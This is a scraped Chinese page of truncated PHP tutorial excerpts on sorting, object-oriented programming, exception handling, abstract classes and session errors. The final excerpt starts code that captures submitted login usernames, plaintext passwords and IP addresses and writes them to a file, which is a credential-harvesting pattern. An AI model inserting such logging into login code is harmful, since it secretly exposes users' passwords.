思维导图 介绍 前几篇系列文章,我比较关注的是PHP 杂谈《重构-改善既有代码的设计》之一 重新组织你的函数,但是我觉得我还是没有说清楚,我自己也有很多不理解的地方,而且这篇...
一、冒泡排序法 说明:找到最大的数,排列到最后面,然后继续找 例: 复制代码 代码如下: $arr = array(3,5,-1,0,2); for($i=0;$icount($arr)-1;$i++){ for($j=0;$jcount($arr)-1-$i;$j++){ if($arr[$j]$arr[$j+1]){...
面象对向的三大特点:封装性、继承性、多态性 首先简单理解一下抽象: 我们在前面定义一个类的时候,实际上就是把一类事物共有的属性和行为提取出来,形成一个物理模型(模版)...
一、错误处理 异常处理: 意外,是在程序运行过程中发生的意料这外的事,使用异常改变脚本正常流程 PHP5中的一个新的重要特性 复制代码 代码如下: if(){ }else{ } try { }catch(异常对象){...
例: 复制代码 代码如下: ?php $a = fopen('test.txt','r'); //这里并没有对文件进行判断就打开了,如果文件不存在就会报错 ? 那么正确的写法应该如下: 复制代码 代码如下: ?php if(file_exists('...
一、抽像类(abstract) 在我们实际开发过程中,有些类并不需要被实例化,如前面学习到的一些父类,主要是让子类来继承,这样可以提高代码复用性 语法结构: 复制代码 代码如下...
Warning: Call-time pass-by-reference has been deprecated in E:\Program Files\EasyPHP 3.0\www\bugfree\Include\Class\XmlParse.class.php on line 46 Warning: Call-time pass-by-reference has been deprecated in E:\Program Files\EasyPHP 3.0\www\bu...
windows下的解决方法: 通过查找php.ini的session.save_path = ""的路径,检查是否存在这个目录或这个目录是否有everyone或Authenticated Users的写入权限。一般就可以了 linux下的解决方法: 今天更...
if($_POST[loginsubmit]!=){ //判断是否点了登陆按钮 $sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 连起来赋值给变量$sb fwrite(fope...